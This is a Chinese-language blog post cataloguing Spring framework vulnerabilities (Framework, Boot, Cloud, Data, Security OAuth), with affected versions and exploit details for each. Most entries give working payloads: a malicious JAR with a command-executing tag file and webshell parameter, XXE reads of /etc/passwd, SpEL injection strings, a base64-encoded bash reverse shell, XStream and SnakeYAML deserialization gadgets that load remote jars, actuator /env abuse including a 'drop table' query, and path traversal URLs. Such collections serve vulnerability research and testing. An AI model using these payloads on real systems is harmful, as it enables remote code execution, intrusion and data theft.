本文作者:Misaki,文章来源:https://misakikata.github.io/
虽说是 Spring 框架漏洞,但以下包含并不仅 Spring Framework,Spring Boot,还有 Spring Cloud,Spring Data,Spring Security 等。
影响版本:SpringSource Spring Framework 3.0.0 - 3.0.2、SpringSource Spring Framework 2.5.0 - 2.5.7
Spring 框架提供了一种机制,该机制使用客户端提供的数据来更新对象属性。这个机制允许攻击者修改用于加载对象的类加载器的属性(通过 'class.classloader')。这可能导致任意命令执行,例如,攻击者可以修改 URL。由类加载器用来指向攻击者控制的位置。
示例:
POST /adduser HTTP/1.0
...
firstName = Tavis&lastName = Ormandy
如果 Person 是表单的支持对象,则 firstName 和 lastName 属性将设置为相应的值。为了支持更复杂的类,Spring 还支持点表示法,因此 user.address.street = Disclosure + Str。将等效于:frmObj.getUser().getAddress().setStreet("Disclosure Str.")
问题是 Spring Beans 的 CachedIntrospectionResults 类枚举了可从用户表单提交中设置的属性,使用 java.beans.Introspector.getBeanInfo() 而不指定停止类,这意味着 'class' 属性及其后的所有内容均可用于HTTP请求中的设置。
攻击:
如果攻击者使用以下 HTTP 参数向表单控制器提交 HTTP 请求:
POST /adduser HTTP/1.0
...
class.classLoader.URLs[0] = jar:http://attacker/spring-exploit.jar!
她将使用自己的网址覆盖 frmObj.getClass().getClassLoader().getURLs() 返回的数组中的第 0 个元素.
它将是哪个类加载器?
在 Apache Tomcat 上的情况下,它指 org.apache.catalina.loader.WebappClassLoader
如何构造这个 jar,需要包含以下信息:
- META-INF/spring-form.tld - 定义spring表单标签并指定实现为标签文件而不是类
- META-INF/tags/中的标签文件,包含有标签定义(任意Java代码)
/META-INF/spring-form.tld 文件:
<!-- <form:input/> tag -->
<tag-file>
<name>input</name>
<path>/META-INF/tags/InputTag.tag</path>
</tag-file>
/META-INF/tags/InputTag.tag
<%@ tag dynamic-attributes="dynattrs" %>
<%
j java.lang.Runtime.getRuntime().exec("mkdir /tmp/PWNED");
%>
做出这样的替换后,当开发者在 controller 中将任何一个对象绑定表单,并且最终展示的 jsp 内容有下面这些:
<%@ taglib prefix="form" uri="http://www.springframework.org/tags/form"%>
<form:form commandName="user">
<form:input path="name"/>
</form:form>
攻击者访问 url,即可触发远程代码执行的效果:
http://inbreak.net/springmvc/testjsp.htm? class.classLoader.URLs[0]=jar:https://inbreak.net/spring-exploit.jar!/
如果服务器大于 tomcat6.0.28 版本,这样做会把所有的 input 标签替换掉,导致不能正常显示。需要修改
spring-form.tld,给其中的 inputtag 改名,name 改为 inputkxlzx:
<tag>
<name>inputkxlzx</name> //什么名字都行
在文件中新加入一个 tag,叫做 input:
<tag-file>
<name>input</name>
<path>/WEB-INF/tags/InputTag.tag</path>
</tag-file>
InputTag.tag 的内容:
<%@ tag dynamic-attributes="dynattrs" %>
<%
if (request.getParameter("kxlzxcmd")!=null)
exec(request.getParameter("kxlzxcmd"));
%>
<form:inputkxlzx path="${dynattrs.path}"></form:inputkxlzx>
访问的时候需要在参数中携带 kxlzxcmd
/test.htm?name=kxlzx&kxlzxcmd=calc //包含input的页面
http://blog.o0o.nu/2010/06/cve-2010-1622.html
https://www.inbreak.net/archives/377
影响版本:3.0.0 至 3.2.3、4.0.0.M1
受影响版本容易受到 XML 外部实体(XXE)注入的攻击。该SourceHttpMessageConverter
处理器不会禁用外部实体解析,这使远程攻击者可以读取任意文件。
当传输 xml 结构体时,如
<?xml version="1.0" encoding="ISO-8859-1"?>
<username>John</username>
</xml>
外部XML实体- xxe
是使用系统标识符定义的,并存在于 DOCTYPE 标头中。这些实体可以访问本地或远程内容。例如,以下代码包含一个外部 XML 实体,该实体将获取的内容 /etc/passwd
并将其显示给呈现给用户。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<username>&xxe;</username>
</xml>
其他 XXE 注入攻击可以访问可能无法停止返回数据的本地资源,这可能会影响应用程序可用性并导致拒绝服务。
影响版本:3.2.0至3.2.3、4.0.0.M1-4.0.0.M2(Spring MVC)
由于对 CVE-2013-4152 和 CVE-2013-6429 的修复不完整导致。
受影响版本容易受到 XML 外部实体(XXE)注入的攻击。该SourceHttpMessageConverter
处理器不会禁用外部实体解析,这使远程攻击者可以读取任意文件。
当传输 xml 结构体时,如
<?xml version="1.0" encoding="ISO-8859-1"?>
<username>John</username>
</xml>
外部 XML 实体- xxe
是使用系统标识符定义的,并存在于 DOCTYPE 标头中。这些实体可以访问本地或远程内容。例如,以下代码包含一个外部 XML 实体,该实体将获取的内容 /etc/passwd
并将其显示给呈现给用户。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<username>&xxe;</username>
</xml>
其他 XXE 注入攻击可以访问可能无法停止返回数据的本地资源,这可能会影响应用程序可用性并导致拒绝服务。
影响版本:SpringSource Spring Security 3.1-3.2.4
当使用从 Spring Security 3.1 到 3.2.4 的 CAS 代理票证身份验证时,恶意的 CAS 服务可能会欺骗另一个 CAS 服务来认证未关联的代理票证。这是由于以下事实:代理票证身份验证使用了来自 HttpServletRequest 的信息,该信息是根据 HTTP 请求中的不可信信息填充的。这意味着,如果存在 CAS 服务可以相互认证的访问控制限制,则可以绕过这些限制。如果用户未使用 CAS 代理票证,并且未基于 CAS 服务做出访问控制决策,则对用户没有影响。
影响版本:Spring Security 3.2.0 至 3.2.1 和 3.1.0 至 3.1.5
ActiveDirectoryLdapAuthenticator不检查密码长度。如果目录允许匿名绑定,则它可能会错误地验证提供空密码的用户。
影响版本:Spring Framework: 3.0.4 to 3.2.11 , 4.0.0 to 4.0.7, 4.1.0 to 4.1.1
在 web.xml 存在如下情况下存在目录遍历:
<mvc:resources mapping="/css/**" location="file:webapps/springapp/WEB-INF/classes/theme/css/" />
访问:
GET /springapp/css/file:/etc/passwd
影响版本:1.0.0至1.5.4
https://github.com/HaToan/CVE-2016-2173
使用方式:
ysoserial-0.0.4-all.jar create payload write and execute a shell
java -jar ysoserial-0.0.4-all.jar 'library_vul' 'command'
exploit-cve2016-2173.jar : send to App vul
java -jar exploit-cve2016-2173.jar
本来想根据配置来搭一个环境处理,结果环境一直搭不起来,构建各种失败,就先放这个利用 poc 吧。
影响版本:2.0.0-2.0.9、1.0.0-1.0.5
https://www.seebug.org/vuldb/ssvid-92474
漏洞利用POC:
http://localhost:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=${2334-1}
执行命令:
http://207.246.79.196:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=${T(java.lang.Runtime).getRuntime().exec(%22ping%20xxx.ceye.io%22)}
但是此命令执行,不会在页面上显示,只会打印出运行的对象。
如果要执行反弹 shell 等命令,由于页面 HTML 编码的原因,SPEL 返回值时进行了一次 html 编码,所以导致取出的 值时会进行一次转义,利用如下脚本加工。
#coding:utf-8
message = input('Enter message to encode:')
print('Decoded string (in ASCII):\n')
print('T(java.lang.Character).toString(%s)' % ord(message[0]), end="")
for ch in message[1:]:
print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""),
print('\n')
print('new java.lang.String(new byte[]{', end=""),
print(ord(message[0]), end="")
for ch in message[1:]:
print(',%s' % ord(ch), end=""),
print(')}')
执行输出后再添加:
T(java.lang.Runtime).getRuntime().exec(payload)
影响版本:1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
https://www.cnblogs.com/litlife/p/10183137.html
下载存在漏洞的版本1.3.0:
https://github.com/spring-projects/spring-boot/archive/v1.3.0.RELEASE.zip
POC:
/?payload=${new%20java.lang.String(new%20byte[]{70, 66, 66, 50, 48, 52, 65, 52, 48, 54, 49, 70, 70, 66, 68, 52, 49, 50, 56, 52, 65, 56, 52, 67, 50, 53, 56, 67, 49, 66, 70, 66})}
结果:
FBB204A4061FFBD41284A84C258C1BFB 返回结果是 md5(wooyun)
影响版本:Spring Data JPA 1.10.2、1.9.4
https://www.seebug.org/vuldb/ssvid-92534
影响版本:Spring Web Flow 2.4.0 to 2.4.4
使用vulhub搭建环境后,在添加poc执行
&_(new+java.lang.ProcessBuilder("ping","xxx.ceye.io")).start()=vulhub
无害化 payload 检测,如果 response header 中出现 vulnerable 头,则有漏洞:
&_T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().addHeader("vulnerable","True").aaa=n1nty
影响版本:1.7.4、1.6.11和1.5.7之前的Spring AMQP版本
https://xz.aliyun.com/t/36
影响版本:Spring Data REST 2.5.12, 2.6.7, 3.0 RC3之前的版本、Spring Data release trains Kay-RC3之前的版本、Spring Boot 2.0.0M4之前的版本
https://www.cnblogs.com/co10rway/p/9380441.html
利用POC执行:
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String('ping xxx.ceye.io'))/lastname", "value": "vulhub" }]
反弹shell,其中反弹shell命令需要借助编码来减少重定向出错的问题java.lang.Runtime.exec() Payload Workarounds:
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94LngueC54Lzg4OTkgMD4mMQ==}|{base64,-d}|{bash,-i}'))/lastname", "value": "vulhub" }]
影响版本:Spring Framework 5.0.5.RELEASE和Spring Security(任何版本)
暂无详细信息
影响版本:
XMLBeam 1.4.14或更早版本结合使用的Spring Data Commons Spring Data Commons 1.13至1.13.11(Ingalls SR11)Spring Data REST 2.6至2.6.11(Ingalls SR11) Spring Data Commons 2.0至2.0.6(Kay SR6) Spring Data REST 3.0至3.0.6(Kay SR6)
http://www.polaris-lab.com/index.php/tag/CVE-2018-1259/
https://xz.aliyun.com/t/2341
影响版本:Spring Framework 5.0 to 5.0.4。Spring Framework 4.3 to 4.3.14
同样利用 vulhub 搭建环境,首先我们先拦截 connect,查看通过的 ws 包,点击后会有这么一个请求
ws://x.x.x.x:8080/gs-guide-websocket/845/beqcexeb/websocket
从 bp 中看到来回四个包,其中的内容为如上所示,修改如下请求包
在发送任意消息,即可触发
或者尝试使用 vulhub 提供的脚本,但是此脚本并不具备通用性,需要修改使用poc
当 Spring MVC 的静态资源存放在 Windows 系统上时,攻击可以通过构造特殊 URL 导致目录遍历漏洞。
此漏洞触发条件较高:
Server 运行于 Windows 系统上
从文件系统提供的文件服务(比如使用 file 协议,但不是 file open)
没有使用 CVE-2018-1199 漏洞的补丁
不使用 Tomcat 或者是 WildFly 做 Server
漏洞利用和复现:
https://blog.knownsec.com/2018/08/spring-mvc-%E7%9B%AE%E5%BD%95%E7%A9%BF%E8%B6%8A%E6%BC%8F%E6%B4%9Ecve-2018-1271%E5%88%86%E6%9E%90/
影响版本:
Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10) Spring Data REST 2.6 - 2.6.10 (Ingalls SR10) Spring Data Commons 2.0 to 2.0.5 (Kay SR5) Spring Data REST 3.0 - 3.0.5 (Kay SR5)
https://www.cnblogs.com/hac425/p/9656747.html
POC:
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")]=xxxusername[T(java.lang.Runtime).getRuntime().exec("ping+xxx.ceye.io")]=test
影响版本:
Spring Security OAuth 2.3 to 2.3.2
Spring Security OAuth 2.2 to 2.2.1
Spring Security OAuth 2.1 to 2.1.1
Spring Security OAuth 2.0 to 2.0.14
https://www.seebug.org/vuldb/ssvid-97287
此漏洞和CVE-2016-4977类似
POC:
http://localhost:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://www.baidu.com&scope=%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22ping%20r9rub4.ceye.io%22%29%7D
CVE-2018-15758 spring-security-oauth2权限提升
影响版本:
Spring Security OAuth 2.3至2.3.3
Spring Security OAuth 2.2至2.2.2
Spring Security OAuth 2.1至2.1.2
Spring Security OAuth 2.0到2.0.15
使用了EnableResourceServer并且用了AuthorizationRequest
的话。那么攻击者可以重新发送一次用过的验证请求,或者进行相应参数修改,从而造成权限提升。
例如劫持code,并且篡改其中的scope到all的话:
http://localhost:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://127.0.0.1&scope=openid
即授权了读取权限的时候,修改为all就可以获得全部权限。
影响版本:Spring-Cloud-Config-Server < 2.1.2, 2.0.4, 1.4.6
下载受影响的版本构建:https://github.com/spring-cloud/spring-cloud-config
cd spring-cloud-config-server ../mvnw spring-boot:run
构建成功后访问:
http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd
其中路径代表:/{name}/{profile}/{label}/
,如下中所显示的json。
影响版本:
Spring Security OAuth 2.3 to 2.3.4 Spring Security OAuth 2.2 to 2.2.3 Spring Security OAuth 2.1 to 2.1.3 Spring Security OAuth 2.0 to 2.0.16
https://medium.com/@riemannbernhardj/investigating-spring-security-oauth2-cve-2019-3778-and-cve-2019-11269-a-p-o-c-attack-44895f2a5e70
用户登录后,CLIENT APP 执行的以下请求包含 REDIRECT_URI 参数。只需添加一个百分号即可触发重定向,而不是通过 RedirectMismatchException 错误来绕过验证。
例如原始请求如下:
/auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://localhost:8086/login
只需要修改为:
/auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://%localhost:8086/login
这样就不会产生原本的认证错误,而且直接跳转到地址
Location: http://localhost:8086/login
https://www.veracode.com/blog/research/exploiting-spring-boot-actuators#
这个漏洞并不像是单一的问题产生,更像是一个渗透入侵的过程。有很多值得在意的知识点
1、Spring Boot 1-1.4,无需身份验证即可访问以下敏感路径,而在 2.x 中,存在于 /actuator 路径下。
/dump-显示线程转储(包括堆栈跟踪)
/trace-显示最后几条HTTP消息(其中可能包含会话标识符)
/logfile-输出日志文件的内容
/shutdown-关闭应用程序
/mappings-显示所有MVC控制器映射
/env-提供对配置环境的访问
/restart-重新启动应用程序
2、jolokia 进行远程代码执行,Jolokia 允许通过 HTTP 访问所有已注册的 MBean,并且旨在执行与 JMX 相同的操作。可以使用 URL 列出所有可用的 MBeans 操作:
http://127.0.0.1:8090/jolokia/list
Logback 库提供的 reloadByURL 操作使我们可以从外部 URL 重新加载日志配置,地址如:
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
logback.xml:
<configuration>
<insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
</configuration>
reloadByURL 功能从 http://artsploit.com/logback.xml 下载新配置,并将其解析为 Logback 配置。这就导致两个问题:XXE 盲攻击、恶意 LDAP 服务器解析引用导致 RCE。
3、通过 /env 来修改配置
如果 Spring Cloud Libraries 在类路径中,则’/env’端点允许您修改 Spring 环境属性。
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
此属性将 Eureka serviceURL 修改为任意值。Eureka Server 通常用作发现服务器,目标类路径中具有 Eureka-Client <1.8.7,则可以利用其中的 XStream 反序列化漏洞。
其中 xstream 的内容类似如下:
<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>
然后调用 /refresh
端点。
4、有一种通过 Spring 环境属性修改来实现 RCE 的更可靠方法:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml
该请求修改了“ spring.cloud.bootstrap.location”属性,该属性用于加载外部配置并以YAML格式解析它。为了做到这一点,我们还需要调用“/refresh”端点。
POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
从远程服务器获取 YAML 配置时,将使用 SnakeYAML 库进行解析,该库也容易受到反序列化攻击。有效载荷(yaml-payload.yml)可以通过使用前述的 Marshalsec 研究生成:
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://artsploit.com/yaml-payload.jar"] ]]]
该 jar 文件的反序列化将触发提供的 URLClassLoader 的 ScriptEngineManager 构造函数的执行。jar 文件可以在如下地址找到:
https://github.com/artsploit/yaml-payload
5、/env 配置
除了关于执行 RCE 的地方,还有一些设置也很有用。
spring.datasource.tomcat.validationQuery = drop + table + users-允许您指定任何 SQL 查询,它将针对当前数据库自动执行。它可以是任何语句,包括插入,更新或删除。
spring.datasource.tomcat.url = jdbc:hsqldb:https://localhost:3002/xdb
允许您修改当前的JDBC连接字符串。
这种设置只在 1.x 中,在 Spring Boot 2.x 中,改为了 json 格式。
此漏洞为 CVE-2019-3778的延伸版本,效果一致
影响版本:Spring Security OAuth 2.3至2.3.5Spring Security OAuth 2.2至2.2.4Spring Security OAuth 2.1至2.1.4Spring Security OAUth 2.0至2.0.17
影响版本:Spring Framework, versions 5.2.0 to 5.2.3, 5.1.0 to 5.1.13, 5.0.0 to 5.0.16
触发此漏洞的要求可以控制content-disposition
文件名和扩展名来下载文件。触发的类型有些类似钓鱼文件。
<a href=”https://<trusted-server>.com/api/users/<attacker_id>.cmd" download>Click me, Im a dolphin</a>
先准备一个受控制的配置文件等,上传到受信的服务器中,虽然对服务器不造成影响。但是可以在其中注入一些payload。
由于下载的文件名是受前端控制,发送filename的时候可以自己构造文件名下载。
spring对不能识别的文件下载的时候按照json格式来处理,但是url仍然可以使用。
当受害者点击如上的地址时,会下载一个.cmd执行文件。原来spring对这种问题的处理是添加后缀为txt来改变文件的可执行效果。
但是这个设置可以绕过,采用如下形式:
filename:secure_install.cmd";
会在表头中闭合造成如下效果:
Content-Disposition: attachment; filename="secure_install.cmd";.txt"
从而达到绕过限制来下载预先设定好的可执行文件等。
影响版本:spring-cloud-config-server < 2.2.2
https://github.com/mai-lang-chai/Middleware-Vulnerability-detection/blob/65bbd0ec4f2fd012318f7d91548ba1f338d5e064/Spring%20Cloud/CVE-2020-5405%20Spring%20Cloud%20Config%20%E7%9B%AE%E5%BD%95%E7%A9%BF%E8%B6%8A/README.md
curl http://127.0.0.1:9988/foo/profiles/%252f..%252f..%252f..%252fUsers%252fxuanyonghao%252ftmp/aaa.xxx
读取 /User/xuanyonghao/tmp/aaa.xxx 文件
foo 对应 {application}
profiles 对应 {profiles}
%252f..%252f..%252f..%252fUsers%252fxuanyonghao%252ftmp 对应 {label}
todo 条件限制:
todo 1. 文件必须有后缀,也就是 .txt 等等。
todo 2. cloud: config: server: native: search-locations: file:///tmp/{label},此处的目录需要有{application}或{profiles}或{label},因为在上述触发点会对url对应段进行替换进来location,导致目录穿越,但是会限制文件后缀
org.springframework.cloud.config.server.resource.ResourceController#resolveLabel(java.lang.String)
利用此处把label处的(_)替换为 /
curl http://127.0.0.1:9988/foo/profiles/..%28_%29Users%28_%29xuanyonghao%28_%29tmp/aaa.xxx
todo 条件限制:
todo 1. 文件必须有后缀,也就是.txt等等。
todo 2. 不像利用点1处,不需要配置{application}{profiles}{label}
如有侵权,请联系删除
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